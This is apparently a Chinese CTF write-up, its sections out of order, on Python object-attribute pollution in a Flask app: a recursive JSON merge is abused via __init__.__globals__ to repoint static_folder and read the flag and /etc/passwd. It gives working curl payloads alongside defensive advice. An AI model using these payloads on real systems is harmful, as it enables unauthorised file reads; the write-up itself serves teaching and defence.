&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;Not Found&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 404&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;if&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-magic z-python&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;__main__&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;run&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;host&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;0.0.0.0&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; port&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;9000&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可见：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;任何 &lt;code&gt;POST &#x2F;&lt;&#x2F;code&gt; 的 JSON 都会被递归 &lt;code&gt;merge&lt;&#x2F;code&gt; 进全局对象 &lt;code&gt;Game0x&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 路由会在渲染前检查 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;一旦能影响 Jinja loader 或 Flask 静态根，就存在 LFI 可能。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;2-gen-yin-fen-xi-yu-xing-shi-hua-chou-xiang&quot;&gt;2. 根因分析与形式化抽象&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;2-1-merge-de-wei-xian-fen-zhi&quot;&gt;2.1 merge 的危险分支&lt;&#x2F;h5&gt;
&lt;p&gt;用函数 $\operatorname{M}(\cdot, \cdot)$ 表示合并：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若 &lt;code&gt;dst&lt;&#x2F;code&gt; 类映射结构且 &lt;code&gt;v&lt;&#x2F;code&gt; 是字典，则递归：将 $v$ 合入 &lt;code&gt;dst[k]&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;否则若 &lt;code&gt;dst&lt;&#x2F;code&gt; 有名为 $k$ 的属性且 $v$ 是字典，则递归到 &lt;code&gt;getattr(dst, k)&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;否则直接执行 &lt;code&gt;setattr(dst, k, v)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此，给定键序列 $(k_1, k_2, \dots, k_n)$ 与叶值 $v$，只要沿途总能走到“可递归&#x2F;可写”的对象 $o$，就有：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\operatorname{M}({k_1:{\cdots {k_n: v}}}, ; \texttt{Game0x}) ;\Longrightarrow; \texttt{setattr}(o, k_n, v).
$$&lt;&#x2F;p&gt;
&lt;p&gt;这等价于“用户可对对象图中任意可达节点成功写属性”。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-2-ke-da-app-init-globals&quot;&gt;2.2 可达 app：&lt;code&gt;__init__.__globals__&lt;&#x2F;code&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;在 Python 中，函数对象有 &lt;code&gt;__globals__&lt;&#x2F;code&gt; 属性，指向其定义模块的全局字典（官方文档：Function Objects）。&lt;code&gt;Game0x.__init__&lt;&#x2F;code&gt; 的 &lt;code&gt;__globals__&lt;&#x2F;code&gt; 中就包含了 &lt;code&gt;app&lt;&#x2F;code&gt; 实例。因此构造：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;{&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;__globals__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;static_folder&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;&#x2F;proc&#x2F;1&#x2F;root&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}}}}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即可令 &lt;code&gt;setattr(app, &#x27;static_folder&#x27;, &#x27;&#x2F;proc&#x2F;1&#x2F;root&#x27;)&lt;&#x2F;code&gt; 生效。&lt;&#x2F;p&gt;
&lt;p&gt;对照文档：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Python 函数对象属性（含 &lt;code&gt;__globals__&lt;&#x2F;code&gt;）：Python 官方文档（Data model → Function objects）。&lt;&#x2F;li&gt;
&lt;li&gt;内置函数 &lt;code&gt;setattr(obj, name, value)&lt;&#x2F;code&gt;：Python 官方文档（Built-in Functions）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;2-3-lu-you-qian-zhi-jian-cha-yu-qu-she&quot;&gt;2.3 路由前置检查与取舍&lt;&#x2F;h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 的 &lt;code&gt;render_page&lt;&#x2F;code&gt; 先做 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt;；仅当“&lt;code&gt;templates&#x2F; + path&lt;&#x2F;code&gt;”本地确实存在时才渲染，这对单纯改 Jinja &lt;code&gt;searchpath&lt;&#x2F;code&gt; 的玩法构成干扰。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;os.path.exists(path)&lt;&#x2F;code&gt; 仅检查文件是否存在（官方文档：os.path.exists）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用 Jinja &lt;code&gt;FileSystemLoader.searchpath&lt;&#x2F;code&gt; 仍可做 LFI，但需与该 exists 的拼接规则配合路径穿越；而 Flask 的静态路由没有这层 exists 拼接，故更稳妥的做法是污染 &lt;code&gt;static_folder&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;3-wen-ding-li-yong-lian-liang-bu&quot;&gt;3. 稳定利用链（两步）&lt;&#x2F;h4&gt;
&lt;p&gt;思路：将 &lt;code&gt;&#x2F;static&lt;&#x2F;code&gt; 挂到“进程视角的真实根目录”，即 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;，之后直接 &lt;code&gt;GET &#x2F;static&#x2F;flag&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;污染静态根到 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  -H &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  --data &amp;#39;{&amp;quot;__init__&amp;quot;:{&amp;quot;__globals__&amp;quot;:{&amp;quot;app&amp;quot;:{&amp;quot;static_folder&amp;quot;:&amp;quot;&#x2F;proc&#x2F;1&#x2F;root&amp;quot;}}}}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;直接读取 flag：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;flag&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测返回：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{Welcome_to_Easy_Pollute~}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h5 id=&quot;wei-shen-me-xuan-proc-1-root&quot;&gt;为什么选 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;在容器&#x2F;CTF 环境中，1 号进程的根目录符号链接 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt; 通常指向容器真实根，这样我们无需猜测工作目录或模板层级，等价把 &lt;code&gt;&#x2F;static&lt;&#x2F;code&gt; 绑定到容器根目录。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;neng-li-zi-ce-ke-xuan&quot;&gt;能力自测（可选）&lt;&#x2F;h5&gt;
&lt;p&gt;先把静态根映射到 &lt;code&gt;&#x2F;etc&lt;&#x2F;code&gt;，尝试读取 &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  -H &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  --data &amp;#39;{&amp;quot;__init__&amp;quot;:{&amp;quot;__globals__&amp;quot;:{&amp;quot;app&amp;quot;:{&amp;quot;static_folder&amp;quot;:&amp;quot;&#x2F;etc&amp;quot;}}}}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;passwd&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; head&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若可读，说明对象污染链生效且静态路由可用。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;4-chang-shi-guo-cheng-yu-dui-bi-fang-an-qu-she-ji-lu&quot;&gt;4. 尝试过程与对比方案（取舍记录）&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;早期尝试通过改 &lt;code&gt;app.jinja_env.loader.searchpath=[&quot;&#x2F;&quot;]&lt;&#x2F;code&gt; 再走 &lt;code&gt;&#x2F;&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 渲染，但受 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt; 限制，路径穿越需要与工作目录&#x2F;模板目录实际层级吻合，实战中不稳定。&lt;&#x2F;li&gt;
&lt;li&gt;URL 编码与变体（&lt;code&gt;%2e%2e&#x2F;&lt;&#x2F;code&gt;、双重编码、混合分隔符）能提升成功率，但复杂度高，不利于教学；&lt;&#x2F;li&gt;
&lt;li&gt;通过改 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 则无需关心 exists 拼接与层级，命中率更高、思路更清晰。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;6-yu-yuan-xing-lian-wu-ran-de-guan-xi&quot;&gt;6. 与“原型链污染”的关系&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;JS“原型链污染”（Prototype Pollution）是污染 &lt;code&gt;Object.prototype&lt;&#x2F;code&gt; 等原型，让属性查找链受到影响；&lt;&#x2F;li&gt;
&lt;li&gt;本题是 Python“对象属性污染&#x2F;对象图污染”：通过合并写属性到实例&#x2F;模块对象上，并未改动类层次结构或 MRO，因此不属于“原型链污染”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;7-fang-hu-jian-yi-gong-cheng-shi-jiao&quot;&gt;7. 防护建议（工程视角）&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;严禁将不可信 JSON 以通用递归方式 merge 入“任意对象”，尤其禁止 &lt;code&gt;setattr&lt;&#x2F;code&gt; 写入实例&#x2F;模块等内建对象；&lt;&#x2F;li&gt;
&lt;li&gt;若必须提供“合并&#x2F;补丁”接口，白名单可修改字段，强制类型校验，屏蔽魔法名：&lt;code&gt;__class__&lt;&#x2F;code&gt;、&lt;code&gt;__init__&lt;&#x2F;code&gt;、&lt;code&gt;__globals__&lt;&#x2F;code&gt;、&lt;code&gt;__dict__&lt;&#x2F;code&gt;、&lt;code&gt;__mro__&lt;&#x2F;code&gt; 等；&lt;&#x2F;li&gt;
&lt;li&gt;不允许运行时随意改 &lt;code&gt;app.jinja_env&lt;&#x2F;code&gt;、&lt;code&gt;app.static_folder&lt;&#x2F;code&gt; 等敏感配置；将其固化于启动配置；&lt;&#x2F;li&gt;
&lt;li&gt;在渲染路由前，任何基于外部输入的路径拼接都应避免；静态路由置于只读目录，最小权限挂载。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;8-guan-fang-wen-dang-dui-zhao-bian-yu-yan-shen-yue-du&quot;&gt;8. 官方文档对照（便于延伸阅读）&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;Python 数据模型：函数对象（含 &lt;code&gt;__globals__&lt;&#x2F;code&gt;）
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;reference&#x2F;datamodel.html#functions&quot;&gt;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;reference&#x2F;datamodel.html#functions&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Python 内置函数 &lt;code&gt;setattr&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;functions.html#setattr&quot;&gt;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;functions.html#setattr&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;os.path.exists 行为
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;os.path.html#os.path.exists&quot;&gt;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;os.path.html#os.path.exists&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Flask 应用与静态目录（&lt;code&gt;static_folder&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;static_url_path&lt;&#x2F;code&gt;）
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;flask.palletsprojects.com&#x2F;en&#x2F;stable&#x2F;api&#x2F;#flask.Flask&quot;&gt;https:&#x2F;&#x2F;flask.palletsprojects.com&#x2F;en&#x2F;stable&#x2F;api&#x2F;#flask.Flask&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Jinja Loader（&lt;code&gt;FileSystemLoader&lt;&#x2F;code&gt;）
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;jinja.palletsprojects.com&#x2F;en&#x2F;stable&#x2F;api&#x2F;#loaders&quot;&gt;https:&#x2F;&#x2F;jinja.palletsprojects.com&#x2F;en&#x2F;stable&#x2F;api&#x2F;#loaders&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;（以上链接与说明已通过 MCP context7 抽取核实要点：函数对象的 &lt;code&gt;__globals__&lt;&#x2F;code&gt; 定义、&lt;code&gt;setattr&lt;&#x2F;code&gt; 的赋值语义、&lt;code&gt;os.path.exists&lt;&#x2F;code&gt; 的存在性检查、Flask &lt;code&gt;static_folder&lt;&#x2F;code&gt; 的含义与 Jinja &lt;code&gt;FileSystemLoader&lt;&#x2F;code&gt; 多路径支持等。）&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;9-flag&quot;&gt;9. Flag&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;0xGame{Welcome_to_Easy_Pollute~}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文记录一次基于 Flask&#x2F;Jinja 与“对象属性合并”污染（pollution）的利用过程。目标为一段简化的 Flask 服务，核心漏洞在于对用户提供的 JSON 递归合并到应用全局对象上，导致可写入 Flask 实例内部属性，从而改写模板或静态资源的加载根目录，进而实现任意文件读取（LFI）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ti-mu-miao-shu-yu-yuan-ma-zhai-lu&quot;&gt;题目描述与源码摘录&lt;&#x2F;h4&gt;
&lt;p&gt;服务核心代码如下（节选并适当排版）：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;from&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; import&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; Flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;import&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; json&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; os&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;app&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; Flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-magic z-python&quot;&gt;__name__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;src&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; v&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt; in&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; src&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;items&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; hasattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;__getitem__&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;get&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt; and&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; dict&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
